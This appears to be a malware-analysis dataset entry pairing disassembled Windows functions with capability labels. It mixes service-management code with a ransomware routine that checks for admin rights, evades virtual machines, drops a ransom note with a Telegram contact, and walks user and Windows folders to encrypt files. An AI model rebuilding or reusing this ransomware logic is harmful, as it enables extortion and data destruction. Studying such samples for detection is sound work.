joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001640
Capabilities:
Access the windows event log

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x140001510]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x2c8], rax
test rax, rax
jne 0x14000169b
lea rdx, str.DebugStartService_Cannot_set_to_SERVICE_START_PENDING
mov rcx, rbx
call fcn.140001550
mov rcx, qword [rbx + 0x2c8]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp 0x140002340
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rbx, qword [0x14000a180]
lea rdx, str.Entering_CNTService::ServiceMain__
mov rcx, rbx
call fcn.140001550
cmp dword [rbx + 0x2b8], 0
mov dword [rbx + 0x29c], 2
jne 0x140002435
lea rdx, [0x1400016e0]
lea rcx, [rbx + 8]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov qword [rbx + 0x290], rax
test rax, rax
jne 0x140002435
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CNTService::ServiceMain___Service_Not_Registered__x
mov rcx, rbx
mov r8d, eax
call fcn.140001550
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
cmp qword [rbx + 0x2c0], rdi
jne 0x1400023e5
lea rdx, [rbx + 8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rbx + 0x2c0], rax
mov rcx, qword [rbx + 0x2c0]
test rcx, rcx
je 0x1400024bb
mov qword [rsp + 0x40], rdi
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edi
lea edx, [r8 + 1]
lea r9d, [r8 + 0x67]
mov word [rsp + 0x28], di
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, str.CNTService::ServiceMain___Service_Registered
mov rcx, rbx
call fcn.140001550
mov rcx, rbx
call fcn.140001950
test eax, eax
je 0x140002472
mov rax, qword [rbx]
xor edi, edi
mov rcx, rbx
mov dword [rbx + 0x2b4], 1
mov dword [rbx + 0x2a4], edi
mov qword [rbx + 0x2ac], rdi
call qword [rax + 8]
mov r8, qword [rbx + 0x290]
lea rdx, str.CNTService::SetStatus__lu___lu_
mov r9d, 1
mov rcx, rbx
call fcn.140001550
mov rcx, qword [rbx + 0x290]
lea rdx, [rbx + 0x298]
mov dword [rbx + 0x29c], 1
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea rdx, str.Leaving_CNTService::ServiceMain__
mov rcx, rbx
call fcn.140001550
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001950
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
lea rdx, str.Entering_CNTService::Initialize__
mov rdi, rcx
call fcn.140001550
mov r8, qword [rdi + 0x290]
lea rdx, str.CNTService::SetStatus__lu___lu_
mov r9d, 2
mov rcx, rdi
call fcn.140001550
mov rcx, qword [rdi + 0x290]
lea rdx, [rdi + 0x298]
mov dword [rdi + 0x29c], 2
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ebp, ebp
mov dword [rdi + 0x2a4], eax
mov qword [rdi + 0x2ac], rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rbp
test ebx, ebx
jne 0x140001a7b
cmp qword [rdi + 0x2c0], rbp
jne 0x140001a00
lea rdx, [rdi + 8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rdi + 0x2c0], rax
mov rcx, qword [rdi + 0x2c0]
test rcx, rcx
je 0x140001a3a
mov qword [rsp + 0x40], rbp
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebp
lea edx, [r8 + 1]
lea r9d, [r8 + 0x68]
mov word [rsp + 0x28], bp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov r8, qword [rdi + 0x290]
lea rdx, str.CNTService::SetStatus__lu___lu_
mov r9d, 1
mov rcx, rdi
call fcn.140001550
mov rcx, qword [rdi + 0x290]
lea rdx, [rdi + 0x298]
mov dword [rdi + 0x29c], 1
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor eax, eax
jmp 0x140001b1f
cmp qword [rdi + 0x2c0], rbp
jne 0x140001a97
lea rdx, [rdi + 8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rdi + 0x2c0], rax
mov rcx, qword [rdi + 0x2c0]
test rcx, rcx
je 0x140001ad1
mov qword [rsp + 0x40], rbp
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebp
lea edx, [r8 + 4]
lea r9d, [r8 + 0x69]
mov word [rsp + 0x28], bp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov r8, qword [rdi + 0x290]
lea rdx, str.CNTService::SetStatus__lu___lu_
mov r9d, 4
mov rcx, rdi
call fcn.140001550
mov rcx, qword [rdi + 0x290]
lea rdx, [rdi + 0x298]
mov dword [rdi + 0x29c], 4
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea rdx, str.Leaving_CNTService::Initialize__
mov rcx, rdi
call fcn.140001550
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400022e0
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
lea rdx, str.Entering_CNTService::Run__
mov rbx, rcx
call fcn.140001550
cmp dword [rbx + 0x2b4], 0
je 0x140002323
nop
lea rdx, str.Sleeping...
mov rcx, rbx
call fcn.140001550
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbx + 0x2b4], 0
jne 0x140002300
lea rdx, str.Leaving_CNTService::Run__
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140001550

Function at 0x140002340
Capabilities:
Access the windows event log

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x140001510]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x2c8], rax
test rax, rax
jne 0x14000169b
lea rdx, str.DebugStartService_Cannot_set_to_SERVICE_START_PENDING
mov rcx, rbx
call fcn.140001550
mov rcx, qword [rbx + 0x2c8]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp 0x140002340
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rbx, qword [0x14000a180]
lea rdx, str.Entering_CNTService::ServiceMain__
mov rcx, rbx
call fcn.140001550
cmp dword [rbx + 0x2b8], 0
mov dword [rbx + 0x29c], 2
jne 0x140002435
lea rdx, [0x1400016e0]
lea rcx, [rbx + 8]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov qword [rbx + 0x290], rax
test rax, rax
jne 0x140002435
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CNTService::ServiceMain___Service_Not_Registered__x
mov rcx, rbx
mov r8d, eax
call fcn.140001550
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
cmp qword [rbx + 0x2c0], rdi
jne 0x1400023e5
lea rdx, [rbx + 8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rbx + 0x2c0], rax
mov rcx, qword [rbx + 0x2c0]
test rcx, rcx
je 0x1400024bb
mov qword [rsp + 0x40], rdi
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edi
lea edx, [r8 + 1]
lea r9d, [r8 + 0x67]
mov word [rsp + 0x28], di
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, str.CNTService::ServiceMain___Service_Registered
mov rcx, rbx
call fcn.140001550
mov rcx, rbx
call fcn.140001950
test eax, eax
je 0x140002472
mov rax, qword [rbx]
xor edi, edi
mov rcx, rbx
mov dword [rbx + 0x2b4], 1
mov dword [rbx + 0x2a4], edi
mov qword [rbx + 0x2ac], rdi
call qword [rax + 8]
mov r8, qword [rbx + 0x290]
lea rdx, str.CNTService::SetStatus__lu___lu_
mov r9d, 1
mov rcx, rbx
call fcn.140001550
mov rcx, qword [rbx + 0x290]
lea rdx, [rbx + 0x298]
mov dword [rbx + 0x29c], 1
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea rdx, str.Leaving_CNTService::ServiceMain__
mov rcx, rbx
call fcn.140001550
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002590
Capabilities:
Access the windows event log
Delete service

Disassembly:
push rdi
push r14
sub rsp, 0x78
mov rdi, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r14, rax
test rax, rax
jne 0x1400025bb
add rsp, 0x78
pop r14
pop rdi
ret
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0xa0], rsi
lea rsi, [rdi + 8]
mov r8d, 0x10000
mov rcx, rax
mov rdx, rsi
mov qword [rsp + 0x70], r15
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r15, rax
test rax, rax
je 0x1400026fb
mov rcx, rax
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa8], r12
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r12d, ebx
lea ebp, [rbx + 1]
test eax, eax
je 0x140002687
test rsi, rsi
cmovne r12d, ebp
cmp qword [rdi + 0x2c0], rbx
jne 0x140002648
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rdi + 0x2c0], rax
mov rcx, qword [rdi + 0x2c0]
test rcx, rcx
je 0x140002683
mov qword [rsp + 0x40], rbx
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
lea edx, [r8 + 4]
lea r9d, [r8 + 0x65]
mov word [rsp + 0x28], r12w
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov ebx, ebp
jmp 0x1400026e2
test rsi, rsi
cmovne r12d, ebp
cmp qword [rdi + 0x2c0], rbx
jne 0x1400026a9
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov qword [rdi + 0x2c0], rax
mov rcx, qword [rdi + 0x2c0]
test rcx, rcx
je 0x1400026e2
mov qword [rsp + 0x40], rbx
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
lea r9d, [r8 + 0x66]
mov edx, ebp
mov word [rsp + 0x28], r12w
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r12, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0x98]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r15, qword [rsp + 0x70]
mov rsi, qword [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [rsp + 0x90]
add rsp, 0x78
pop r14
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000aad0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aae0]
mov dword [rax], 1
mov rax, qword [0x14000aaf0]
mov dword [rax], 1
mov rax, qword [0x14000aa60]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000aac0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000aba0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000ab80]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000aa10]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001789
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x10]
mov rdx, rax
lea rax, str.S_1_5_32_544
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
call rax
test eax, eax
je 0x1400017f5
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
test eax, eax
jne 0x1400017e5
mov dword [rbp - 4], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x140001ae6
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
mov eax, 0x4180
call fcn.140003000
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4110], rcx
mov qword [rbp + 0x4118], rdx
mov rdx, qword [rbp + 0x4110]
lea rax, [rbp + 0x1fb0]
mov r9, rdx
lea r8, str._s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x3fb0]
lea rax, [rbp + 0x1fb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x40f8], rax
cmp qword [rbp + 0x40f8], 0xffffffffffffffff
jne 0x140001b89
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x4110]
mov r8, rax
lea rax, str.Error_searching_directory:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x140001c7f
lea rax, [rbp + 0x3fb0]
add rax, 0x2c
lea rdx, [0x14000a147]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001c48
lea rax, [rbp + 0x3fb0]
add rax, 0x2c
lea rdx, [0x14000a149]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001c48
mov rcx, qword [rbp + 0x4110]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x3fb0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0x3fb0]
and eax, 0x10
test eax, eax
je 0x140001c1d
mov rdx, qword [rbp + 0x4118]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.traverse_directory
jmp 0x140001c49
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Processing_file:__s_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x4118]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.encrypt_decrypt_file
jmp 0x140001c49
nop
lea rax, [rbp + 0x3fb0]
mov rcx, qword [rbp + 0x40f8]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001b89
mov rax, qword [rbp + 0x40f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x4180
pop rbp
ret
Function at 0x140001c88
Capabilities:
Query environment variable

Disassembly:
push rbp
mov eax, 0x40a0
call fcn.140003000
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
call sym.IsUserAdmin
test eax, eax
jne 0x140001cc5
lea rax, str.BYE_EXIT_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001f6e
call sym.is_virtual_machine
test eax, eax
jne 0x140001cd7
call sym.is_vmware_cpu
test eax, eax
je 0x140001cff
lea rax, str.MOHIT_MAJAZI_n
mov rcx, rax
call sym.printf
lea rax, str.EXIT_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
lea rax, str.Program_is_running_with_administrator_privileges._n
mov rcx, rax
call sym.printf
lea rax, str.C:HELP_RANSOMWARE.txt
mov qword [rbp + 0x4010], rax
lea rax, str.SEND_MESSAGE_TELEGRAM_:__fbi_attack0
mov qword [rbp + 0x4008], rax
mov rax, qword [rbp + 0x4010]
lea rdx, [0x14000a1fd]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x4000], rax
cmp qword [rbp + 0x4000], 0
jne 0x140001d6a
lea rax, str.ERROR
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001f6e
mov rdx, qword [rbp + 0x4008]
mov rax, qword [rbp + 0x4000]
mov r8, rdx
lea rdx, [0x14000a205]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x4000]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x1ff0]
mov r8d, 0x2000
mov rdx, rax
lea rax, str.USERPROFILE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
jne 0x140001dea
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error:_USERPROFILE_environment_variable_is_not_set._n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x140001f6e
lea rax, str.Desktop
mov qword [rbp + 0x1fb0], rax
lea rax, str.Downloads
mov qword [rbp + 0x1fb8], rax
lea rax, str.Music
mov qword [rbp + 0x1fc0], rax
lea rax, str.Pictures
mov qword [rbp + 0x1fc8], rax
lea rax, str.Videos
mov qword [rbp + 0x1fd0], rax
lea rax, str.Documents
mov qword [rbp + 0x1fd8], rax
lea rax, str.Searches
mov qword [rbp + 0x1fe0], rax
lea rax, str.AppDataRoaming
mov qword [rbp + 0x1fe8], rax
mov dword [rbp + 0x3ffc], 8
mov dword [rbp + 0x401c], 0
jmp 0x140001f57
mov eax, dword [rbp + 0x401c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1fb0]
lea rcx, [rbp + 0x1ff0]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Encrypting_files_in_directory:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
lea rdx, [0x14000a09a]
mov rcx, rax
call sym.traverse_directory
lea rax, [0x14000a09a]
mov rdx, rax
lea rax, str.C:WindowsSystem
mov rcx, rax
call sym.traverse_directory
lea rax, [0x14000a09a]
mov rdx, rax
lea rax, str.C:Windows_assembly
mov rcx, rax
call sym.traverse_directory
lea rax, [0x14000a09a]
mov rdx, rax
lea rax, str.C:WindowsFonts
mov rcx, rax
call sym.traverse_directory
lea rax, [0x14000a09a]
mov rdx, rax
lea rax, str.C:WindowsSoftwareDistribution
mov rcx, rax
call sym.traverse_directory
lea rax, [0x14000a09a]
mov rdx, rax
lea rax, str.C:WindowsLogs
mov rcx, rax
call sym.traverse_directory
add dword [rbp + 0x401c], 1
mov eax, dword [rbp + 0x401c]
cmp eax, dword [rbp + 0x3ffc]
jl 0x140001e73
mov eax, 0
add rsp, 0x40a0
pop rbp
ret
Function at 0x140002240
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400022b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d094]
test esi, esi
mov rbx, rcx
jle 0x1400023e0
mov rax, qword [0x14000d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400022fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002385
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400022e0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140002402
mov rax, qword [0x14000d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400023e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000237e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002390
add dword [0x14000d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000d098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000237e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002308
mov rax, qword [0x14000d098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002970
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x1400029cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400029c3
test rsi, rsi
je 0x1400029c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400029a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002be0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002bf0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x140002c00
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002c18
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002c20
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002c30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x140002c7d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002c74
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002c7f
add rax, 0x28
cmp rax, r9
jne 0x140002c60
xor eax, eax
ret

Function at 0x140002c80
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002d10
mov rdx, qword [0x14000aa60]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002cfe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002cfe
cmp word [rax + 0x18], 0x20b
jne 0x140002cfe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002d10
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002ce9
add rbx, 0x28
cmp rbx, rdi
je 0x140002d10
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002ce0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000aa60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002d40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002d48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002d40
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002d9d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002d94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002d40
add rax, 0x28
cmp rax, r9
jne 0x140002d80
xor eax, eax
ret

Function at 0x140002da0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aa60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002dbf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002dc8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002dbf
movzx ecx, word [rax + 6]
mov eax, ecx
ret